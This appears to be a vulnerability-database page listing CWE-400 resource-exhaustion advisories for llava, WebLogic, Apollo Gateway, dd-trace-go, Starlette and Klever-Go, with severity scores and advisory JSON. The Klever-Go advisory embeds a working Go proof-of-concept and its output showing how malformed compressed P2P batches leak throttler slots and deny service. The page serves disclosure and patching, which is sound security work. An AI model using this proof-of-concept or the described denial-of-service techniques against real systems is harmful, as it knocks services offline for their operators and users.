Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5531 vulnerabilities reference this CWE, most recent first.

GHSA-745F-48GC-258Q

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

A vulnerability in haotian-liu/llava v1.2.0 allows an attacker to cause a Denial of Service (DoS) by appending a large number of characters to the end of a multipart boundary in a file upload request. This causes the server to continuously process each character, rendering the application inaccessible.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:15Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in haotian-liu/llava v1.2.0 allows an attacker to cause a Denial of Service (DoS) by appending a large number of characters to the end of a multipart boundary in a file upload request. This causes the server to continuously process each character, rendering the application inaccessible.",
  "id": "GHSA-745f-48gc-258q",
  "modified": "2025-03-20T12:32:38Z",
  "published": "2025-03-20T12:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10225"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/cd793f83-f122-432b-83e7-1cc8c78817b7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-748W-F5CH-QPR7

Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-01-21 21:30
VLAI
Details

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-21T21:15:21Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).   The supported version that is affected is 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP/2 to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-748w-f5ch-qpr7",
  "modified": "2025-01-21T21:30:56Z",
  "published": "2025-01-21T21:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21549"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-74CR-77XC-8G6R

Vulnerability from github – Published: 2019-06-13 20:37 – Updated: 2021-08-16 15:28
VLAI
Summary
Prototype Pollution in @apollo/gateway
Details

Versions of @apollo/gateway prior to 0.6.2 are vulnerable to Prototype Pollution. The package uses deepMerge() to merge objects, which may allow attackers to alter the Object prototype through queries with GraphQL aliases. Carefully constructed payloads can override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.

Recommendation

Upgrade to version 0.6.2 or later.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-13T20:37:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `@apollo/gateway` prior to 0.6.2 are vulnerable to Prototype Pollution. The package uses deepMerge() to merge objects, which may allow attackers to alter the Object prototype through queries with GraphQL aliases. Carefully constructed payloads can override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.\n",
  "id": "GHSA-74cr-77xc-8g6r",
  "modified": "2021-08-16T15:28:22Z",
  "published": "2019-06-13T20:37:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apollographql/apollo-server/pull/2779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apollographql/apollo-server/commit/cea7397582a293af6a5f60947da34b95e669c6c1"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-APOLLOGATEWAY-174915"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/917"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in @apollo/gateway"
}

GHSA-74J5-XF3V-CRQ8

Vulnerability from github – Published: 2026-07-15 23:05 – Updated: 2026-07-15 23:05
VLAI
Summary
dd-trace-go: Improper parsing of W3C baggage headers may lead to DoS
Details

Impact

Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.

Patches

This is resolved in version 2.8.1 and later of the dd-trace-go library.

Workarounds

If users cannot upgrade immediately: 1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently). 2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).

Resources

Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/DataDog/dd-trace-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.24.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/DataDog/dd-trace-go/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T23:05:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nDatadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled.\nThe baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.\n\n### Patches\nThis is resolved in version 2.8.1 and later of the `dd-trace-go` library.\n\n### Workarounds\nIf users cannot upgrade immediately:\n1. Disable `baggage` extraction by removing `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT` if set independently).\n2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache `LimitRequestFieldSize`, Nginx `large_client_header_buffers`, Envoy `max_request_headers_kb`).\n\n\n### Resources\nRelated upstream advisories:\n[opentelemetry-go GHSA-mh2q-q3fh-2475](https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475)\n[opentelemetry-dotnet GHSA-g94r-2vxg-569j](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-g94r-2vxg-569j)",
  "id": "GHSA-74j5-xf3v-crq8",
  "modified": "2026-07-15T23:05:19Z",
  "published": "2026-07-15T23:05:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/DataDog/dd-trace-go/security/advisories/GHSA-74j5-xf3v-crq8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/DataDog/dd-trace-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dd-trace-go: Improper parsing of W3C baggage headers may lead to DoS"
}

GHSA-74M5-2C7W-9W3X

Vulnerability from github – Published: 2023-02-14 21:31 – Updated: 2024-10-28 15:59
VLAI
Summary
MultipartParser denial of service with too many fields or files
Details

Impact

The MultipartParser using the package python-multipart accepts an unlimited number of multipart parts (form fields or files).

Processing too many parts results in high CPU usage and high memory usage, eventually leading to an OOM process kill.

This can be triggered by sending too many small form fields with no content, or too many empty files.

For this to take effect application code has to:

  • Have python-multipart installed and
  • call request.form()
  • or via another framework like FastAPI, using form field parameters or UploadFile parameters, which in turn calls request.form().

Patches

The vulnerability is solved in Starlette 0.25.0 by making the maximum fields and files customizable and with a sensible default (1000).

Applications will be secure by just upgrading their Starlette version to 0.25.0 (or FastAPI to 0.92.0).

If application code needs to customize the new max field and file number, there are new request.form() parameters (with the default values):

  • max_files=1000
  • max_fields=1000

Workarounds

Applications that don't install python-multipart or that don't use form fields are safe.

In older versions, it's also possible to instead of calling request.form() call request.stream() and parse the form data in internal code.

In most cases, the best solution is to upgrade the Starlette version.

References

This was reported in private by @das7pad via internal email. He also coordinated the fix across multiple frameworks and parsers.

The details about how multipart/form-data is structured and parsed are in the RFC 7578.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "starlette"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-14T21:31:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe `MultipartParser` using the package `python-multipart` accepts an unlimited number of multipart parts (form fields or files).\n\nProcessing too many parts results in high CPU usage and high memory usage, eventually leading to an \u003cabbr title=\"out of memory\"\u003eOOM\u003c/abbr\u003e process kill.\n\nThis can be triggered by sending too many small form fields with no content, or too many empty files.\n\nFor this to take effect application code has to:\n\n* Have `python-multipart` installed and\n* call `request.form()`\n  * or via another framework like FastAPI, using form field parameters or `UploadFile` parameters, which in turn calls `request.form()`.\n\n### Patches\n\nThe vulnerability is solved in Starlette 0.25.0 by making the maximum fields and files customizable and with a sensible default (1000). \n\nApplications will be secure by just upgrading their Starlette version to 0.25.0 (or FastAPI to 0.92.0).\n\nIf application code needs to customize the new max field and file number, there are new `request.form()` parameters (with the default values):\n\n* `max_files=1000`\n* `max_fields=1000`\n\n### Workarounds\n\nApplications that don\u0027t install `python-multipart` or that don\u0027t use form fields are safe.\n\nIn older versions, it\u0027s also possible to instead of calling `request.form()` call `request.stream()` and parse the form data in internal code.\n\nIn most cases, the best solution is to upgrade the Starlette version.\n\n### References\n\nThis was reported in private by @das7pad via internal email. He also coordinated the fix across multiple frameworks and parsers.\n\nThe details about how `multipart/form-data` is structured and parsed are in the [RFC 7578](https://www.rfc-editor.org/rfc/rfc7578).\n",
  "id": "GHSA-74m5-2c7w-9w3x",
  "modified": "2024-10-28T15:59:40Z",
  "published": "2023-02-14T21:31:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/security/advisories/GHSA-74m5-2c7w-9w3x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/commit/8c74c2c8dba7030154f8af18e016136bea1938fa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/encode/starlette"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2023-48.yaml"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/starlette-multipartparser-dos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MultipartParser denial of service with too many fields or files"
}

GHSA-74M6-4HJP-7226

Vulnerability from github – Published: 2026-06-04 17:40 – Updated: 2026-06-04 17:40
VLAI
Summary
Klever-Go P2P MultiDataInterceptor leaks global throttler slots on malformed compressed batches (DoS)
Details

Publisher note

Fixed in v1.7.17. Operators running < v1.7.17 should upgrade. The decompression-error path in MultiDataInterceptor.ProcessReceivedMessage now releases the global throttler slot before returning (guarded defer after StartProcessing(), disabled when the asynchronous goroutine takes ownership).

Patch commits on develop: 333f6ec9, 68b94a40 (merged from private fork klever-io/klever-go-ghsa-74m6-4hjp-7226).

This advisory was originally filed jointly with a separate KVM read-only isolation bypass; that finding is now tracked under GHSA-jc6w-wmfc-fh33 so each issue receives its own CVE.

The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.

Private Vulnerability Report

Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211

2.1 MultiDataInterceptor malformed compressed batches permanently consume global P2P throttler slots

Severity : High Confidence : HIGH Attack Complexity : LOW PoC Status : Confirmed

Description

The P2P MultiDataInterceptor starts throttled processing before it validates and decompresses a received batch. PreProcessMessage checks whether the global interceptor throttler can process the message and then calls StartProcessing(). After that point, ProcessReceivedMessage unmarshals the batch and enters the compressed-batch branch when b.IsCompressed is true. If b.Decompress() fails, the function logs the gzip error and returns immediately without calling EndProcessing().

This creates a permanent slot leak in the interceptor throttler. The normal successful path releases the slot only later in the asynchronous processing goroutine. Other validation error paths release the slot explicitly, but the decompression-error path does not. The impact is amplified because the same global throttler is shared by transaction multi-data interceptors, trie-node multi-data interceptors, and header interceptors. The hardcoded global capacity is 100, so a connected peer that can deliver 100 malformed compressed batch envelopes can cause later valid P2P interceptor processing on the affected node to fail with system busy until the process is restarted or the throttler state is otherwise reset.

Location

  1. baseDataInterceptor.go, PreProcessMessage(), line 42
  2. baseDataInterceptor.go, PreProcessMessage(), line 47
  3. multiDataInterceptor.go, ProcessReceivedMessage(), line 95
  4. multiDataInterceptor.go, ProcessReceivedMessage(), line 99
  5. baseInterceptorsContainerFactory.go, numGoRoutines, line 21
  6. baseInterceptorsContainerFactory.go, createOneTxInterceptor(), line 160
  7. baseInterceptorsContainerFactory.go, createOneTrieNodesInterceptor(), line 190
  8. baseInterceptorsContainerFactory.go, generateMetachainHeaderInterceptors(), line 232

Preconditions

  1. The attacker can connect as a P2P peer or otherwise send P2P messages that reach a MultiDataInterceptor topic handler.
  2. The malformed message must pass the outer preprocessing checks before the decompression branch.
  3. No validator role, private key, capital, oracle condition, or timing condition is required.

Impact

Successful exploitation causes a persistent per-node denial of P2P interceptor processing until node restart or throttler reset. The affected throttler is shared across transaction batch processing and trie-node sync processing, and header processing also uses the same throttler. The PoC demonstrates the concrete effect with a capacity-2 throttler: two malformed compressed batches leak both slots and the third message returns system busy. In the reviewed codebase, the production factory hardcodes the shared capacity to 100, so the same condition is expected after approximately 100 malformed compressed batches. The impact is reversible by restarting the node or otherwise resetting the throttler state.

Exploit Cost

No gas and no protocol capital are required. The practical cost is the network cost of sending malformed compressed P2P batch messages to the target node, approximately 100 messages for the hardcoded production global capacity.

Steps to Reproduce

  1. Place poc_mdi_throttler_slot_leak_test.go in an empty directory.
  2. Run the dependency commands listed in the PoC header.
  3. Run GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go.
  4. Observe that the first proof increments StartProcessing() without incrementing EndProcessing() after a gzip decompression error.
  5. Observe that the second proof uses a real capacity-2 throttler and reaches system busy on the third malformed compressed batch.

Proof-of-Concept Result

Running GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go after dependency setup produces the following output. The result confirms that malformed compressed batches leak throttler slots and cause a real throttler to reject later processing as system busy.

=== RUN   TestPoC_MalformedCompressedBatchLeaksThrottlerSlot
ERROR[2026-04-28 13:35:04.398]   MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header
    poc_mdi_throttler_slot_leak_test.go:108: process_error=gzip: invalid header
    poc_mdi_throttler_slot_leak_test.go:109: start_count_before=0
    poc_mdi_throttler_slot_leak_test.go:110: start_count_after=1
    poc_mdi_throttler_slot_leak_test.go:111: end_count_before=0
    poc_mdi_throttler_slot_leak_test.go:112: end_count_after=0
ERROR[2026-04-28 13:35:04.398]   MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header
ERROR[2026-04-28 13:35:04.398]   MultiDataInterceptor.ProcessReceivedMessage err = gzip: invalid header
    poc_mdi_throttler_slot_leak_test.go:133: real_throttler_attempt_1=gzip: invalid header
    poc_mdi_throttler_slot_leak_test.go:134: real_throttler_attempt_2=gzip: invalid header
    poc_mdi_throttler_slot_leak_test.go:135: real_throttler_attempt_3=system busy
--- PASS: TestPoC_MalformedCompressedBatchLeaksThrottlerSlot (0.00s)
PASS
ok      command-line-arguments  0.002s

Suggested Fix

Ensure that every path after StartProcessing() releases the throttler slot exactly once. A direct fix is to call EndProcessing() before returning from the decompression-error branch. A more robust fix is to use a guarded defer immediately after StartProcessing() and disable that defer only when the asynchronous goroutine takes ownership of releasing the slot.

Closing

I am available to answer technical questions regarding these findings and to review proposed fixes prior to deployment. Please contact me through this disclosure thread or through the email address associated with this submission.

Proof-of-Concept Source

poc_mdi_throttler_slot_leak_test.go

package poc

/*
Target contract   : Klever-Go P2P MultiDataInterceptor; no on-chain address
Vulnerability     : Denial of service through leaked global P2P throttler slots
Severity          : High
How to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go
Expected output   : The test passes and logs that a real throttler returns system busy after malformed compressed batches
Dependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go mod tidy
*/

import (
    "errors"
    "fmt"
    "testing"

    "github.com/klever-io/klever-go/common"
    "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/core"
    "github.com/klever-io/klever-go/core/process/interceptors"
    "github.com/klever-io/klever-go/core/throttler"
    "github.com/klever-io/klever-go/data/batch"
)

func malformedCompressedBatchPayload(t *testing.T, marshalizer *mock.MarshalizerMock) []byte {
    t.Helper()

    // Build a syntactically valid batch envelope whose compressed stream is not valid gzip.
    payload, err := marshalizer.Marshal(&batch.Batch{
        IsCompressed: true,
        Stream:       []byte("not-a-gzip-stream"),
        DataSize:     1,
    })
    if err != nil {
        t.Fatalf("marshal malformed compressed batch: %v", err)
    }

    return payload
}

func newMultiDataInterceptor(t *testing.T, marshalizer *mock.MarshalizerMock, throttlerArg interface {
    CanProcess() bool
    StartProcessing()
    EndProcessing()
    IsInterfaceNil() bool
}) *interceptors.MultiDataInterceptor {
    t.Helper()

    // Use the production transaction topic and production MultiDataInterceptor constructor.
    arg := interceptors.ArgMultiDataInterceptor{
        Topic:            common.TransactionTopic,
        Marshalizer:      marshalizer,
        DataFactory:      &mock.InterceptedDataFactoryStub{},
        Processor:        &mock.InterceptorProcessorStub{},
        Throttler:        throttlerArg,
        AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
        WhiteListRequest: &mock.WhiteListHandlerStub{},
        CurrentPeerID:    core.PeerID("local-peer"),
    }

    mdi, err := interceptors.NewMultiDataInterceptor(arg)
    if err != nil {
        t.Fatalf("construct MultiDataInterceptor: %v", err)
    }

    return mdi
}

func malformedP2PBatchMessage(payload []byte, sequence int) *mock.P2PMessageMock {
    // Build a P2P message that passes outer message preprocessing and reaches decompression.
    return &mock.P2PMessageMock{
        DataField:  payload,
        PeerField:  core.PeerID("origin-peer"),
        SeqNoField: []byte(fmt.Sprintf("seq-%d", sequence)),
    }
}

func TestPoC_MalformedCompressedBatchLeaksThrottlerSlot(t *testing.T) {
    marshalizer := &mock.MarshalizerMock{}

    // First prove that a malformed compressed batch calls StartProcessing without a matching EndProcessing.
    countingThrottler := &mock.InterceptorThrottlerStub{
        CanProcessCalled: func() bool { return true },
    }
    mdiWithCountingThrottler := newMultiDataInterceptor(t, marshalizer, countingThrottler)
    payload := malformedCompressedBatchPayload(t, marshalizer)
    message := malformedP2PBatchMessage(payload, 1)

    startBefore := countingThrottler.StartProcessingCount()
    endBefore := countingThrottler.EndProcessingCount()

    err := mdiWithCountingThrottler.ProcessReceivedMessage(message, core.PeerID("connected-peer"))

    startAfter := countingThrottler.StartProcessingCount()
    endAfter := countingThrottler.EndProcessingCount()

    // The vulnerable branch returns the gzip error after StartProcessing but before EndProcessing.
    if err == nil {
        t.Fatalf("expected gzip error, got nil")
    }
    if startAfter != startBefore+1 {
        t.Fatalf("expected one throttler start, before=%d after=%d", startBefore, startAfter)
    }
    if endAfter != endBefore {
        t.Fatalf("expected no throttler end on decompress error, before=%d after=%d", endBefore, endAfter)
    }

    t.Logf("process_error=%v", err)
    t.Logf("start_count_before=%d", startBefore)
    t.Logf("start_count_after=%d", startAfter)
    t.Logf("end_count_before=%d", endBefore)
    t.Logf("end_count_after=%d", endAfter)

    // Then prove direct impact with a real capacity-2 throttler.
    realThrottler, err := throttler.NewNumGoRoutinesThrottler(2)
    if err != nil {
        t.Fatalf("construct real throttler: %v", err)
    }
    mdiWithRealThrottler := newMultiDataInterceptor(t, marshalizer, realThrottler)

    err1 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 2), core.PeerID("connected-peer"))
    err2 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 3), core.PeerID("connected-peer"))
    err3 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 4), core.PeerID("connected-peer"))

    // The third attempt is rejected as system busy because leaked slots were not released.
    if err1 == nil || err2 == nil {
        t.Fatalf("expected first two malformed attempts to return gzip errors, got err1=%v err2=%v", err1, err2)
    }
    if !errors.Is(err3, common.ErrSystemBusy) {
        t.Fatalf("expected third attempt to hit system busy, got %v", err3)
    }

    t.Logf("real_throttler_attempt_1=%v", err1)
    t.Logf("real_throttler_attempt_2=%v", err2)
    t.Logf("real_throttler_attempt_3=%v", err3)
}
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T17:40:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Publisher note\n\n**Fixed in `v1.7.17`.** Operators running `\u003c v1.7.17` should upgrade. The decompression-error path in `MultiDataInterceptor.ProcessReceivedMessage` now releases the global throttler slot before returning (guarded `defer` after `StartProcessing()`, disabled when the asynchronous goroutine takes ownership).\n\nPatch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork `klever-io/klever-go-ghsa-74m6-4hjp-7226`).\n\nThis advisory was originally filed jointly with a separate KVM read-only isolation bypass; that finding is now tracked under [GHSA-jc6w-wmfc-fh33](https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33) so each issue receives its own CVE.\n\nThe original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.\n\n---\n\n# Private Vulnerability Report\n\nRepository: klever-io/klever-go\nReviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2\nDisclosure channel: GitHub Private Vulnerability Reporting\nReporter GitHub account: LoGGGG240211\n\n## 2.1 MultiDataInterceptor malformed compressed batches permanently consume global P2P throttler slots\n\nSeverity            : High\nConfidence          : HIGH\nAttack Complexity   : LOW\nPoC Status          : Confirmed\n\n### Description\n\nThe P2P `MultiDataInterceptor` starts throttled processing before it validates and decompresses a received batch. `PreProcessMessage` checks whether the global interceptor throttler can process the message and then calls `StartProcessing()`. After that point, `ProcessReceivedMessage` unmarshals the batch and enters the compressed-batch branch when `b.IsCompressed` is true. If `b.Decompress()` fails, the function logs the gzip error and returns immediately without calling `EndProcessing()`.\n\nThis creates a permanent slot leak in the interceptor throttler. The normal successful path releases the slot only later in the asynchronous processing goroutine. Other validation error paths release the slot explicitly, but the decompression-error path does not. The impact is amplified because the same global throttler is shared by transaction multi-data interceptors, trie-node multi-data interceptors, and header interceptors. The hardcoded global capacity is 100, so a connected peer that can deliver 100 malformed compressed batch envelopes can cause later valid P2P interceptor processing on the affected node to fail with `system busy` until the process is restarted or the throttler state is otherwise reset.\n\n### Location\n\n1. [baseDataInterceptor.go, PreProcessMessage(), line 42](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/baseDataInterceptor.go#L42)\n2. [baseDataInterceptor.go, PreProcessMessage(), line 47](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/baseDataInterceptor.go#L47)\n3. [multiDataInterceptor.go, ProcessReceivedMessage(), line 95](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/multiDataInterceptor.go#L95)\n4. [multiDataInterceptor.go, ProcessReceivedMessage(), line 99](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/interceptors/multiDataInterceptor.go#L99)\n5. [baseInterceptorsContainerFactory.go, numGoRoutines, line 21](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L21)\n6. [baseInterceptorsContainerFactory.go, createOneTxInterceptor(), line 160](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L160)\n7. [baseInterceptorsContainerFactory.go, createOneTrieNodesInterceptor(), line 190](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L190)\n8. [baseInterceptorsContainerFactory.go, generateMetachainHeaderInterceptors(), line 232](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go#L232)\n\n### Preconditions\n\n1. The attacker can connect as a 